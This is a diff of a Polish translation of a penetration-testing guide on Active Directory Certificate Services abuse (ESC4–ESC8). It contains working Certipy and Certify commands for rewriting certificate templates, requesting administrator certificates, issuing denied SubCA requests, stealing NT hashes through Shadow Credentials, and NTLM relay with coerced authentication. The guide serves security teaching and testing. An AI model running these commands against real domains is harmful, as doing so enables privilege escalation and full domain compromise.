+Should an **attacker** possess the requisite **permissions** to **alter** a **template** and **institute** any **exploitable misconfigurations** outlined in **prior sections**, privilege escalation could be facilitated.
 
-Znaczące uprawnienia mające zastosowanie do szablonów certyfikatów to:
+Notable permissions applicable to certificate templates include:
 
-- **Owner:** Przyznaje domyślną kontrolę nad obiektem, umożliwiając modyfikację dowolnych atrybutów.
-- **FullControl:** Zapewnia pełną władzę nad obiektem, włącznie z możliwością zmiany dowolnych atrybutów.
-- **WriteOwner:** Pozwala zmienić właściciela obiektu na podmiot kontrolowany przez atakującego.
-- **WriteDacl:** Umożliwia modyfikację list kontroli dostępu, co może przyznać atakującemu FullControl.
-- **WriteProperty:** Upoważnia do edycji dowolnych właściwości obiektu.
+- **Owner:** Daje niejawne uprawnienia kontroli nad obiektem, umożliwiając modyfikację dowolnych atrybutów.
+- **FullControl:** Pozwala na pełną kontrolę nad obiektem, włącznie z możliwością zmiany dowolnych atrybutów.
+- **WriteOwner:** Umożliwia zmianę właściciela obiektu na podmiot kontrolowany przez atakującego.
+- **WriteDacl:** Pozwala na modyfikację kontroli dostępu, potencjalnie przyznając atakującemu FullControl.
+- **WriteProperty:** Uprawnia do edycji dowolnych właściwości obiektu.
 
-### Nadużycie
+### Abuse
 
-Aby zidentyfikować podmioty mające prawa do edycji szablonów i innych obiektów PKI, wyenumeruj za pomocą Certify:
+To identify principals with edit rights on templates and other PKI objects, enumerate with Certify:
 ```bash
 Certify.exe find /showAllPermissions
 Certify.exe pkiobjects /domain:corp.local /showAdmins
@@ -158,17 +160,13 @@ Przykład privesc podobny do poprzedniego:
 
 <figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
 
-ESC4 występuje, gdy użytkownik ma uprawnienia zapisu do szablonu certyfikatu. Można to np. wykorzystać do nadpisania konfiguracji szablonu certyfikatu, aby uczynić go podatnym na ESC1.
+ESC4 ma miejsce, gdy użytkownik ma uprawnienia zapisu do szablonu certyfikatu. Można to na przykład wykorzystać do nadpisania konfiguracji szablonu certyfikatu, aby uczynić szablon podatnym na ESC1.
 
-Jak widać na ścieżce powyżej, tylko `JOHNPC` ma te uprawnienia, ale nasz użytkownik `JOHN` ma nową krawędź `AddKeyCredentialLink` do `JOHNPC`.
-
-Ponieważ ta technika jest związana z certyfikatami, zaimplementowałem też ten atak, znany jako [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab).
-
-Oto krótki przedsmak polecenia Certipy’s `shadow auto`, służącego do pobrania NT hasha ofiary.
+Jak widać powyżej, tylko `JOHNPC` ma te uprawnienia, ale nasz użytkownik `JOHN` ma nowe `AddKeyCredentialLink` edge do `JOHNPC`. Ponieważ ta technika jest związana z certyfikatami, zaimplementowałem również ten atak, znany jako [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Oto krótkie spojrzenie na polecenie `shadow auto` w Certipy, służące do pobrania NT hash ofiary.
 ```bash
 certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
 ```
-**Certipy** może nadpisać konfigurację szablonu certyfikatu jednym poleceniem. **Domyślnie**, Certipy **nadpisze** konfigurację, aby uczynić ją **podatną na ESC1**. Możemy również określić **`-save-old` parametr, aby zapisać starą konfigurację**, co będzie przydatne do **przywrócenia** konfiguracji po naszym ataku.
+**Certipy** może nadpisać konfigurację szablonu certyfikatu jednym poleceniem. **Domyślnie**, Certipy **nadpisze** konfigurację, aby uczynić ją **podatną na ESC1**. Możemy też określić **`-save-old` parametr do zapisania starej konfiguracji**, co będzie przydatne do **przywrócenia** konfiguracji po naszym ataku.
 ```bash
 # Make template vuln to ESC1
 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@@ -179,37 +177,37 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
 # Restore config
 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
 ```
-## Słaba kontrola dostępu do obiektów PKI - ESC5
+## Vulnerable PKI Object Access Control - ESC5
 
-### Wyjaśnienie
+### Explanation
 
-Rozległa sieć powiązań oparta na ACL, obejmująca kilka obiektów wykraczających poza certificate templates i certificate authority, może wpływać na bezpieczeństwo całego systemu AD CS. Obiekty te, które mogą znacząco wpłynąć na bezpieczeństwo, obejmują:
+Obszerna sieć powiązań opartych na ACL, obejmująca kilka obiektów wykraczających poza szablony certyfikatów i Certification Authority, może wpływać na bezpieczeństwo całego systemu AD CS. Te obiekty, które mogą znacząco oddziaływać na bezpieczeństwo, obejmują:
 
-- The AD computer object of the CA server, which may be compromised through mechanisms like S4U2Self or S4U2Proxy.
-- The RPC/DCOM server of the CA server.
-- Any descendant AD object or container within the specific container path `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. This path includes, but is not limited to, containers and objects such as the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, and the Enrollment Services Container.
+- Obiekt komputera AD serwera CA, który może zostać przejęty za pomocą mechanizmów takich jak S4U2Self lub S4U2Proxy.
+- Serwer RPC/DCOM powiązany z serwerem CA.
+- Każdy potomny obiekt AD lub kontener w obrębie konkretnej ścieżki kontenera `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Ta ścieżka obejmuje, między innymi, kontenery i obiekty takie jak the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object oraz the Enrollment Services Container.
 
 Bezpieczeństwo systemu PKI może zostać naruszone, jeśli atakujący o niskich uprawnieniach uzyska kontrolę nad którymkolwiek z tych krytycznych komponentów.
 
 ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
 
-### Wyjaśnienie
+### Explanation
 
-Wątek poruszony w [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) omawia także implikacje flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, zgodnie z opisem Microsoft. Ta konfiguracja, po aktywacji na Certification Authority (CA), pozwala na umieszczanie wartości zdefiniowanych przez użytkownika w subject alternative name dla dowolnego requestu, w tym tych zbudowanych z Active Directory®. W konsekwencji umożliwia to intruzowi enroll poprzez dowolny template skonfigurowany do uwierzytelniania domenowego — zwłaszcza te otwarte do rejestracji przez nieuprzywilejowanych użytkowników, jak standardowy User template. W rezultacie atakujący może uzyskać certyfikat pozwalający na uwierzytelnienie jako administrator domeny lub dowolny inny aktywny obiekt w domenie.
+Temat poruszony w [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) odnosi się również do implikacji flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, opisanej przez Microsoft. Ta konfiguracja, po włączeniu na Certification Authority (CA), pozwala na umieszczenie **wartości zdefiniowanych przez użytkownika** w **subject alternative name** dla **dowolnego żądania**, w tym tych tworzonych z Active Directory®. W efekcie umożliwia to **intruzowi** zarejestrowanie się za pomocą **dowolnego szablonu** skonfigurowanego do domenowej **autentykacji** — szczególnie tych otwartych dla rejestracji przez **użytkowników o niskich uprawnieniach**, jak standardowy User template. W rezultacie można uzyskać certyfikat, który pozwala intruzowi uwierzytelnić się jako administrator domeny lub **jakikolwiek inny aktywny podmiot** w domenie.
 
-**Uwaga**: Metoda dopisywania alternative names do Certificate Signing Request (CSR) za pomocą argumentu `-attrib "SAN:"` w `certreq.exe` (nazywanego „Name Value Pairs”) kontrastuje z techniką wykorzystywania SANs w ESC1. Różnica polega na tym, jak informacje o koncie są kapsułowane — w atrybucie certyfikatu, zamiast w rozszerzeniu.
+**Note**: Podejście do dodawania **alternatywnych nazw** do Certificate Signing Request (CSR) za pomocą argumentu `-attrib "SAN:"` w `certreq.exe` (określanego jako “Name Value Pairs”) kontrastuje ze strategią wykorzystania SAN w ESC1. Różnica polega tu na **sposobie enkapsulacji informacji o koncie** — w atrybucie certyfikatu, zamiast w rozszerzeniu.
 
-### Nadużycie
+### Abuse
 
-Aby sprawdzić, czy ustawienie jest aktywne, organizacje mogą wykorzystać następujące polecenie z `certutil.exe`:
+Aby sprawdzić, czy ustawienie jest włączone, organizacje mogą użyć następującego polecenia z `certutil.exe`:
 ```bash
 certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
 ```
-Ta operacja zasadniczo wykorzystuje **remote registry access**, więc alternatywnym podejściem może być:
+Ta operacja zasadniczo wykorzystuje **remote registry access**, zatem alternatywnym podejściem może być:
 ```bash
 reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
 ```
-Narzędzia takie jak [**Certify**](https://github.com/GhostPack/Certify) i [**Certipy**](https://github.com/ly4k/Certipy) są w stanie wykryć tę nieprawidłową konfigurację i ją wykorzystać:
+Narzędzia takie jak [**Certify**](https://github.com/GhostPack/Certify) i [**Certipy**](https://github.com/ly4k/Certipy) potrafią wykryć tę nieprawidłową konfigurację i ją wykorzystać:
 ```bash
 # Detect vulnerabilities, including this one
 Certify.exe find
@@ -218,7 +216,7 @@ Certify.exe find
 Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
 ```
-Aby zmienić te ustawienia, jeśli posiada się **domain administrative** prawa lub równoważne, można wykonać następujące polecenie z dowolnej stacji roboczej:
+Aby zmienić te ustawienia, zakładając, że posiada się prawa **domain administrative** lub równoważne, można wykonać następujące polecenie z dowolnej stacji roboczej:
 ```bash
 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
 ```
@@ -227,30 +225,30 @@ Aby wyłączyć tę konfigurację w swoim środowisku, flagę można usunąć za
 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
 ```
 > [!WARNING]
-> Po aktualizacjach zabezpieczeń z maja 2022, nowo wydane **certyfikaty** będą zawierać **rozszerzenie zabezpieczeń**, które włącza **właściwość `objectSid` żądającego**. Dla ESC1 ten SID jest wyprowadzany z określonego SAN. Jednak dla **ESC6** SID odzwierciedla **`objectSid` żądającego**, a nie SAN.\
-> Aby wykorzystać ESC6, system musi być podatny na ESC10 (Weak Certificate Mappings), które faworyzuje **SAN nad nowym rozszerzeniem zabezpieczeń**.
+> Po majowych aktualizacjach zabezpieczeń z 2022 roku, nowo wydane **certyfikaty** będą zawierać **rozszerzenie bezpieczeństwa**, które zawiera **właściwość `objectSid`` żądającego**. Dla ESC1 ten SID jest wyprowadzany ze wskazanego SAN. Jednak dla **ESC6** SID odzwierciedla **`objectSid` żądającego**, a nie SAN.\
+> Aby wykorzystać ESC6, konieczne jest, aby system był podatny na ESC10 (Weak Certificate Mappings), które faworyzuje **SAN ponad nowe rozszerzenie bezpieczeństwa**.
 
-## Narażona kontrola dostępu do CA - ESC7
+## Kontrola dostępu Certificate Authority podatna na atak - ESC7
 
 ### Atak 1
 
 #### Wyjaśnienie
 
-Kontrola dostępu do Certificate Authority jest utrzymywana przez zestaw uprawnień, które regulują działania CA. Te uprawnienia można zobaczyć, uruchamiając `certsrv.msc`, klikając prawym przyciskiem na CA, wybierając Properties, a następnie przechodząc do zakładki Security. Dodatkowo uprawnienia można wyliczyć używając modułu PSPKI za pomocą poleceń takich jak:
+Kontrola dostępu do Certificate Authority jest utrzymywana za pomocą zestawu uprawnień regulujących działania CA. Uprawnienia te można wyświetlić, otwierając `certsrv.msc`, klikając prawym przyciskiem myszy na CA, wybierając Właściwości, a następnie przechodząc do zakładki Zabezpieczenia. Dodatkowo uprawnienia można zenumerować przy użyciu modułu PSPKI za pomocą poleceń takich jak:
 ```bash
 Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
 ```
-To dostarcza wglądu w główne uprawnienia, mianowicie **`ManageCA`** i **`ManageCertificates`**, odpowiadające odpowiednio rolom „CA administrator” i „Certificate Manager”.
+To dostarcza wglądu w podstawowe uprawnienia, mianowicie **`ManageCA`** i **`ManageCertificates`**, odpowiadające odpowiednio rolom „administrator CA” i „Menedżer certyfikatów”.
 
-#### Nadużycie
+#### Abuse
 
-Posiadanie uprawnień **`ManageCA`** na urzędzie certyfikacji (CA) umożliwia podmiotowi zdalną manipulację ustawieniami za pomocą PSPKI. Obejmuje to przełączanie flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`** w celu zezwolenia na określenie SAN w dowolnym szablonie, co jest krytycznym elementem eskalacji domeny.
+Posiadanie praw **`ManageCA`** na urzędzie certyfikacji pozwala podmiotowi zdalnie modyfikować ustawienia za pomocą PSPKI. Obejmuje to przełączanie flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`** w celu zezwolenia na określenie SAN w dowolnym szablonie, co jest krytycznym elementem eskalacji domeny.
 
-Uproszczenie tego procesu jest możliwe dzięki użyciu cmdletu PSPKI **Enable-PolicyModuleFlag**, co pozwala wprowadzać zmiany bez bezpośredniej interakcji z GUI.
+Uproszczenie tego procesu jest możliwe dzięki użyciu cmdletu PSPKI **Enable-PolicyModuleFlag**, pozwalającego na modyfikacje bez bezpośredniej interakcji z GUI.
 
-Posiadanie uprawnień **`ManageCertificates`** umożliwia zatwierdzanie oczekujących żądań, skutecznie obchodząc zabezpieczenie "CA certificate manager approval".
+Posiadanie praw **`ManageCertificates`** ułatwia zatwierdzanie oczekujących wniosków, skutecznie omijając zabezpieczenie "CA certificate manager approval".
 
-Kombinacja modułów **Certify** i **PSPKI** może być użyta do złożenia żądania, zatwierdzenia i pobrania certyfikatu:
+Kombinacja modułów **Certify** i **PSPKI** może być wykorzystana do żądania, zatwierdzania i pobierania certyfikatu:
 ```bash
 # Request a certificate that will require an approval
 Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
@@ -271,28 +269,28 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
 #### Wyjaśnienie
 
 > [!WARNING]
-> W **poprzednim ataku** uprawnienia **`Manage CA`** zostały użyte, aby **włączyć** flagę **EDITF_ATTRIBUTESUBJECTALTNAME2** w celu przeprowadzenia **ESC6 attack**, ale nie będzie to miało żadnego efektu, dopóki usługa CA (`CertSvc`) nie zostanie zrestartowana. Gdy użytkownik ma prawo dostępu `Manage CA`, użytkownikowi przysługuje również możliwość **restartu usługi**. Jednakże to **nie oznacza, że użytkownik może zrestartować usługę zdalnie**. Co więcej, E**SC6 może nie działać od razu** w większości załatanych środowisk z powodu aktualizacji bezpieczeństwa z maja 2022.
+> W **poprzednim ataku** uprawnienia **`Manage CA`** zostały użyte do **włączenia** flagi **EDITF_ATTRIBUTESUBJECTALTNAME2** aby przeprowadzić **ESC6 attack**, ale nie będzie to miało żadnego efektu dopóki usługa CA (`CertSvc`) nie zostanie zrestartowana. Kiedy użytkownik ma prawo dostępu `Manage CA`, użytkownik może także **zrestartować usługę**. Jednakże to **nie oznacza, że użytkownik może zrestartować usługę zdalnie**. Ponadto, E**SC6 might not work out of the box** w większości załatanych środowisk z powodu aktualizacji bezpieczeństwa z maja 2022.
 
-W związku z tym przedstawiono tutaj inny atak.
+Dlatego tutaj przedstawiono inny atak.
 
 Wymagania wstępne:
 
-- Tylko **`ManageCA` permission**
-- **`Manage Certificates`** permission (może być nadane z **`ManageCA`**)
-- Szablon certyfikatu **`SubCA`** musi być **włączony** (może być włączony z **`ManageCA`**)
+- Tylko **`ManageCA` uprawnienie**
+- Uprawnienie **`Manage Certificates`** (może być przyznane przez **`ManageCA`**)
+- Szablon certyfikatu **`SubCA`** musi być **włączony** (może być włączony przez **`ManageCA`**)
 
-Technika opiera się na fakcie, że użytkownicy z prawami dostępu `Manage CA` _i_ `Manage Certificates` mogą wystawiać nieudane żądania certyfikatów. Szablon certyfikatu **`SubCA`** jest **vulnerable to ESC1**, ale **tylko administratorzy** mogą zapisać się do tego szablonu. Zatem **użytkownik** może **zażądać** zapisania się do **`SubCA`** — żądanie zostanie **odrzucone** — lecz następnie może zostać **wydane przez managera**.
+Technika opiera się na tym, że użytkownicy z prawami dostępu `Manage CA` _i_ `Manage Certificates` mogą **wystawiać odrzucone żądania certyfikatów**. Szablon certyfikatu **`SubCA`** jest **podatny na ESC1**, ale w szablonie rejestrować się mogą **tylko administratorzy**. Zatem **użytkownik** może **zażądać** rejestracji w **`SubCA`** - które zostanie **odrzucone** - ale **następnie wydane przez menedżera**.
 
 #### Nadużycie
 
-Możesz **grant yourself the `Manage Certificates`** access right, dodając swój użytkownik jako nowego officer.
+Możesz **przyznać sobie uprawnienie `Manage Certificates`** poprzez dodanie swojego użytkownika jako nowego oficera.
 ```bash
 certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully added officer 'John' on 'corp-DC-CA'
 ```
-Szablon **`SubCA`** można **włączyć na CA** za pomocą parametru `-enable-template`. Domyślnie szablon `SubCA` jest włączony.
+Szablon **`SubCA`** może być **włączony na CA** za pomocą parametru `-enable-template`. Domyślnie szablon `SubCA` jest włączony.
 ```bash
 # List templates
 certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@@ -304,7 +302,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully enabled 'SubCA' on 'corp-DC-CA'
 ```
-Jeśli spełniliśmy wymagania wstępne dla tego ataku, możemy zacząć od **zażądania certyfikatu na podstawie szablonu `SubCA`**.
+Jeśli spełniliśmy warunki wstępne tego ataku, możemy zacząć od **złożenia żądania certyfikatu opartego na szablonie `SubCA`**.
 
 **To żądanie zostanie odrzucone**, ale zachowamy klucz prywatny i zanotujemy ID żądania.
 ```bash
@@ -318,14 +316,14 @@ Would you like to save the private key? (y/N) y
 [*] Saved private key to 785.key
 [-] Failed to request certificate
 ```
-Dzięki naszym **`Manage CA` i `Manage Certificates`** możemy następnie **wydać certyfikat dla nieudanej prośby** za pomocą polecenia `ca` i parametru `-issue-request <request ID>`.
+Mając **`Manage CA` and `Manage Certificates`**, możemy następnie **wydać nieudane żądanie certyfikatu** za pomocą polecenia `ca` i parametru `-issue-request <request ID>`.
 ```bash
 certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully issued certificate
 ```
-I wreszcie możemy **pobrać wystawiony certyfikat** za pomocą polecenia `req` i parametru `-retrieve <request ID>`.
+Na koniec możemy **pobrać wydany certyfikat** przy użyciu polecenia `req` i parametru `-retrieve <request ID>`.
 ```bash
 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -337,83 +335,83 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 [*] Loaded private key from '785.key'
 [*] Saved certificate and private key to 'administrator.pfx'
 ```
-### Attack 3 – Manage Certificates Extension Abuse (SetExtension)
+### Atak 3 – Manage Certificates Extension Abuse (SetExtension)
 
-#### Explanation
+#### Wyjaśnienie
 
-In addition to the classic ESC7 abuses (enabling EDITF attributes or approving pending requests), **Certify 2.0** revealed a brand-new primitive that only requires the *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) role on the Enterprise CA.
+Oprócz klasycznych nadużyć ESC7 (włączania atrybutów EDITF lub zatwierdzania oczekujących żądań), **Certify 2.0** ujawnił zupełnie nowy prymityw, który wymaga jedynie roli *Manage Certificates* (czyli **Certificate Manager / Officer**) na Enterprise CA.
 
-The `ICertAdmin::SetExtension` RPC method can be executed by any principal holding *Manage Certificates*.  While the method was traditionally used by legitimate CAs to update extensions on **pending** requests, an attacker can abuse it to **append a *non-default* certificate extension** (for example a custom *Certificate Issuance Policy* OID such as `1.1.1.1`) to a request that is waiting for approval.
+Metodę RPC `ICertAdmin::SetExtension` może wykonać dowolny podmiot posiadający *Manage Certificates*. Chociaż metoda tradycyjnie była używana przez legalne CA do aktualizacji rozszerzeń w **oczekujących** żądaniach, atakujący może jej nadużyć, aby **dołączyć *niestandardowe* rozszerzenie certyfikatu** (na przykład niestandardowy OID *Certificate Issuance Policy* taki jak `1.1.1.1`) do żądania oczekującego na zatwierdzenie.
 
-Because the targeted template does **not define a default value for that extension**, the CA will NOT overwrite the attacker-controlled value when the request is eventually issued.  The resulting certificate therefore contains an attacker-chosen extension that may:
+Ponieważ docelowy template **nie definiuje wartości domyślnej dla tego rozszerzenia**, CA NIE nadpisze wartości kontrolowanej przez atakującego, gdy żądanie zostanie ostatecznie wydane. W efekcie certyfikat zawiera wybrane przez atakującego rozszerzenie, które może:
 
-* Satisfy Application / Issuance Policy requirements of other vulnerable templates (leading to privilege escalation).
-* Inject additional EKUs or policies that grant the certificate unexpected trust in third-party systems.
+* Spełniać wymagania Application / Issuance Policy innych podatnych szablonów (prowadząc do eskalacji uprawnień).
+* Wstrzyknąć dodatkowe EKU lub polityki, które nadadzą certyfikatowi nieoczekiwane zaufanie w systemach third-party.
 
-In short, *Manage Certificates* – previously considered the “less powerful” half of ESC7 – can now be leveraged for full privilege escalation or long-term persistence, without touching CA configuration or requiring the more restrictive *Manage CA* right.
+Krótko mówiąc, *Manage Certificates* – wcześniej uważane za „mniej potężną” połowę ESC7 – może teraz zostać wykorzystane do pełnej eskalacji uprawnień lub długotrwałej persystencji, bez modyfikacji konfiguracji CA i bez potrzeby bardziej restrykcyjnego prawa *Manage CA*.
 
-#### Abusing the primitive with Certify 2.0
+#### Wykorzystanie prymitywu z Certify 2.0
 
-1. **Submit a certificate request that will remain *pending*.**  This can be forced with a template that requires manager approval:
+1. **Złóż żądanie certyfikatu, które pozostanie *pending*.** Można to wymusić przy pomocy template wymagającego zatwierdzenia przez managera:
 ```powershell
 Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
 # Take note of the returned Request ID
 ```
 
-2. **Append a custom extension to the pending request** using the new `manage-ca` command:
+2. **Dołącz niestandardowe rozszerzenie do oczekującego żądania** używając nowego polecenia `manage-ca`:
 ```powershell
 Certify.exe manage-ca --ca SERVER\\CA-NAME \
 --request-id 1337 \
 --set-extension "1.1.1.1=DER,10,01 01 00 00"  # fake issuance-policy OID
 ```
-*If the template does not already define the *Certificate Issuance Policies* extension, the value above will be preserved after issuance.*
+*Jeśli template nie definiuje już rozszerzenia *Certificate Issuance Policies*, powyższa wartość zostanie zachowana po wydaniu.*
 
-3. **Issue the request** (if your role also has *Manage Certificates* approval rights) or wait for an operator to approve it.  Once issued, download the certificate:
+3. **Wydaj żądanie** (jeśli Twoja rola ma również prawa zatwierdzania *Manage Certificates*) lub poczekaj, aż operator je zatwierdzi. Po wydaniu pobierz certyfikat:
 ```powershell
 Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
 ```
 
-4. The resulting certificate now contains the malicious issuance-policy OID and can be used in subsequent attacks (e.g. ESC13, domain escalation, etc.).
+4. Otrzymany certyfikat zawiera teraz złośliwy OID issuance-policy i może być wykorzystany w kolejnych atakach (np. ESC13, eskalacja w domenie itp.).
 
-> NOTE:  The same attack can be executed with Certipy ≥ 4.7 through the `ca` command and the `-set-extension` parameter.
+> NOTE:  Ten sam atak można wykonać przy pomocy Certipy ≥ 4.7 za pomocą polecenia `ca` i parametru `-set-extension`.
 
-## NTLM Relay to AD CS HTTP Endpoints – ESC8
+## NTLM Relay do punktów końcowych HTTP AD CS – ESC8
 
-### Explanation
+### Wyjaśnienie
 
 > [!TIP]
-> W środowiskach, gdzie **AD CS is installed**, jeśli istnieje **vulnerable web enrollment endpoint** i przynajmniej jeden **certificate template is published**, który pozwala na **domain computer enrollment and client authentication** (na przykład domyślny **`Machine`** template), staje się możliwe, że **dowolny komputer z aktywną spooler service może zostać przejęty przez atakującego**!
+> W środowiskach, gdzie **AD CS jest zainstalowany**, jeśli istnieje **vulnerable web enrollment endpoint** i co najmniej jeden **certificate template jest publikowany**, który pozwala na **domain computer enrollment oraz client authentication** (tak jak domyślny **`Machine`** template), staje się możliwe, że **każdy komputer z aktywną usługą spooler service może zostać przejęty przez atakującego**!
 
-Several **HTTP-based enrollment methods** are supported by AD CS, made available through additional server roles that administrators may install. These interfaces for HTTP-based certificate enrollment are susceptible to **NTLM relay attacks**. An attacker, from a **compromised machine, can impersonate any AD account that authenticates via inbound NTLM**. While impersonating the victim account, these web interfaces can be accessed by an attacker to **request a client authentication certificate using the `User` or `Machine` certificate templates**.
+AD CS wspiera kilka **metod rejestracji opartych na HTTP**, udostępnianych przez dodatkowe role serwera, które administratorzy mogą zainstalować. Interfejsy te do HTTP-based certificate enrollment są podatne na **NTLM relay attacks**. Atakujący, z **skompro-mitowanej maszyny**, może podszyć się pod dowolne konto AD, które uwierzytelnia się za pomocą przychodzącego NTLM. Podszywając się pod konto ofiary, atakujący może uzyskać dostęp do tych interfejsów sieciowych, aby **zażądać client authentication certificate używając template `User` lub `Machine`**.
 
-- The **web enrollment interface** (an older ASP application available at `http://<caserver>/certsrv/`), defaults to HTTP only, which does not offer protection against NTLM relay attacks. Additionally, it explicitly permits only NTLM authentication through its Authorization HTTP header, rendering more secure authentication methods like Kerberos inapplicable.
-- The **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, and **Network Device Enrollment Service** (NDES) by default support negotiate authentication via their Authorization HTTP header. Negotiate authentication **supports both** Kerberos and **NTLM**, allowing an attacker to **downgrade to NTLM** authentication during relay attacks. Although these web services enable HTTPS by default, HTTPS alone **does not safeguard against NTLM relay attacks**. Protection from NTLM relay attacks for HTTPS services is only possible when HTTPS is combined with channel binding. Regrettably, AD CS does not activate Extended Protection for Authentication on IIS, which is required for channel binding.
+- Interfejs **web enrollment** (starsza aplikacja ASP dostępna pod `http://<caserver>/certsrv/`) domyślnie działa tylko na HTTP, które nie chroni przed NTLM relay attacks. Dodatkowo explicite dopuszcza tylko NTLM w Authorization HTTP header, uniemożliwiając użycie bezpieczniejszych metod uwierzytelniania jak Kerberos.
+- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service oraz **Network Device Enrollment Service** (NDES) domyślnie wspierają negotiate authentication za pomocą Authorization HTTP header. Negotiate authentication **obsługuje zarówno** Kerberos jak i **NTLM**, pozwalając atakującemu na **downgrade do NTLM** podczas relayu. Choć te web services domyślnie włączają HTTPS, samo HTTPS **nie zabezpiecza przed NTLM relay attacks**. Ochrona przed NTLM relay dla usług HTTPS jest możliwa tylko, gdy HTTPS jest połączone z channel binding. Niestety, AD CS nie aktywuje Extended Protection for Authentication na IIS, które jest wymagane do channel binding.
 
-A common **issue** with NTLM relay attacks is the **short duration of NTLM sessions** and the inability of the attacker to interact with services that **require NTLM signing**.
+Częstym **problemem** w NTLM relay attacks jest **krótki czas trwania sesji NTLM** oraz niemożność atakującego do interakcji z usługami, które wymagają NTLM signing.
 
-Nevertheless, this limitation is overcome by exploiting an NTLM relay attack to acquire a certificate for the user, as the certificate's validity period dictates the session's duration, and the certificate can be employed with services that **mandate NTLM signing**. For instructions on utilizing a stolen certificate, refer to:
+Mimo to, ograniczenie to można ominąć wykorzystując NTLM relay attack do zdobycia certyfikatu dla użytkownika — to okres ważności certyfikatu determinuje długość sesji, a certyfikat może być użyty z usługami, które **wymagają NTLM signing**. Instrukcje dotyczące wykorzystania skradzionego certyfikatu znajdują się w:
 
 
 {{#ref}}
 account-persistence.md
 {{#endref}}
 
-Another limitation of NTLM relay attacks is that **an attacker-controlled machine must be authenticated to by a victim account**. The attacker could either wait or attempt to **force** this authentication:
+Innym ograniczeniem NTLM relay jest to, że **maszyna kontrolowana przez atakującego musi zostać uwierzytelniona przez konto ofiary**. Atakujący może albo poczekać, albo spróbować **wymusić** to uwierzytelnienie:
 
 
 {{#ref}}
 ../printers-spooler-service-abuse.md
 {{#endref}}
 
-### **Abuse**
+### **Nadużycie**
 
-[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumerates **enabled HTTP AD CS endpoints**:
+Polecenie `cas` z [**Certify**](https://github.com/GhostPack/Certify) wylicza **włączone punkty końcowe HTTP AD CS**:
 ```
 Certify.exe cas
 ```
 <figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
 
-Właściwość `msPKI-Enrollment-Servers` jest używana przez korporacyjne Certificate Authorities (CAs) do przechowywania punktów końcowych Certificate Enrollment Service (CES). Te punkty końcowe można sparsować i wypisać za pomocą narzędzia **Certutil.exe**:
+Właściwość `msPKI-Enrollment-Servers` jest używana przez enterprise Certificate Authorities (CAs) do przechowywania punktów końcowych Certificate Enrollment Service (CES). Te punkty końcowe można sparsować i wypisać, używając narzędzia **Certutil.exe**:
 ```
 certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
 ```
@@ -424,7 +422,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List *
 ```
 <figure><img src="../../../images/image (940).png" alt=""><figcaption></figcaption></figure>
 
-#### Nadużycie za pomocą Certify
+#### Nadużycie przy użyciu Certify
 ```bash
 ## In the victim machine
 # Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
@@ -439,11 +437,11 @@ proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2sup
 # Force authentication from victim to compromised machine with port forwards
 execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>
 ```
-#### Wykorzystanie z [Certipy](https://github.com/ly4k/Certipy)
+#### Nadużycie z [Certipy](https://github.com/ly4k/Certipy)
